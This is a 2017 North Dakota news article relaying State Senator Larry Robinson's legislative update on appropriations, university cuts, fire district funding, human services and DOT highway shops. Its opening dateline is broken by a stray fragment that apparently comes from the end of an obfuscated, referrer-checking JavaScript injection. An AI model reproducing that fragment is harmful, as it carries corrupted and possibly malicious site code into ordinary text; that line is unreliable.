BISMARCK, dzezk|var|u0026u|referrer|nrbei||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) There are 23 days left for lawmakers to wrap up their work during the 2017 North Dakota Legislative Session. The following is a legislative report from State Senator Larry Robinson of Valley City.
“In the Senate Appropriations Committee, we have heard all of our bills and are now working in sub-committees. I have been consumed with the Water Commission Budget, Adjutant General, State Treasurer, Department of Public Instruction, including the School for the Deaf and Vision Services, North Dakota Public Employee Retirement System, Deficiency Appropriation, and the Office of Management and Budget. These assignments are in addition to our regular floor sessions of the Senate. Needless to say, I have been very busy. Soon the Conference Committees will begin, as we move closer to the end of this legislative session.
We are still waiting for the House Appropriations Committee and the full House of Representatives to act on Senate Bill 2003, the budget for the North Dakota University System. That budget contains funding for Valley City State University and the other 10 institutions. As it stands now, the reduction in funding is 20% below current funding levels. Should that reduction stay in place in the final bill, our colleges and universities will have significant challenges responding to those reductions. The proposal calls for tuition increases to hep offset the reductions, but that impact will still leave the campuses with a major funding gap.
In the Senate Appropriations Committee, we reinstated the proposed 16% reduction in payments to our fire districts. The reduction was made in the House of Representatives. Our Fire Districts need these dollars to keep up with training, the maintenance and replacement of equipment. We are hopeful we can maintain that level of funding with the House of Representatives. The funding comes from the insurance premium tax we pay for our insurance coverage. The importance of properly funding our Fire Departments is without question!
In K-12 Education, we are working to restore reductions to transportation and Adult Education. We did make some minor adjustments to the funding levels for he North Dakota School for the Deaf in Devils Lake, and Vision Services (North Dakota School for the Blind) in Grand Forks. These two agencies do outstanding work. Their services not only serve the immediate campus locations, but they have outreach programs that stretch across the state of North Dakota.
Work continues on the budget for the Department of Human Services. That budget is very large and impacts our most vulnerable citizens. We have yet to find the dollars to support many of the critical areas in the budget including our DD Providers, Nursing Homes, protective services for our children and older adults, behavioral health, the State Hospital, the Life Skills Center in Grafton, the 8 regional Human Service Centers, Peer to Peer Support, Children and Family Services, and many other programs within this budget. The numbers in this budget represent people, many with special needs and significant challenges.
The House Appropriations Committee has attached an amendment to the Department of Transportation Bill, Senate Bill 2012, The amendment calls for the DOT to work with the Counties, Cities, or Townships for them to assume responsibility for the 8 highway shops that are proposed to be closed. Two of those shops are in and/or close to our district. Those shops are in Litchville and Courtenay. In my opinion, the amendment proposed is not workable. I maintain that we must find a way to keep those shops open. We intend to work in the Conference Committee to remove this amendment in the budget for the DOT.
Another major issue yet to be resolved is where we end up with property tax relief. The decision on this issue will be made in the final days of this session. Needless to say, property tax relief is a very high priority. The proposal for the state to assume responsibility for County Social Services is central to this discussion. That proposal would cost the state a total of $242,000,000. No small price tag to offset in a very tight state budget.
Our next Legislative Forum is this coming Saturday, April 1st, at the Skoal Room on the campus of Valley City State University. The forum is sponsored and organized by the Valley City Area Chamber of Commerce. We appreciate their efforts putting these events together. The forum will begin at 9:00 and conclude by 11:00 a.m. We hope you will join us for the event. Until then, I can be reached at lrobinson@nd.gov.
District 24
State Senator
Larry Robinson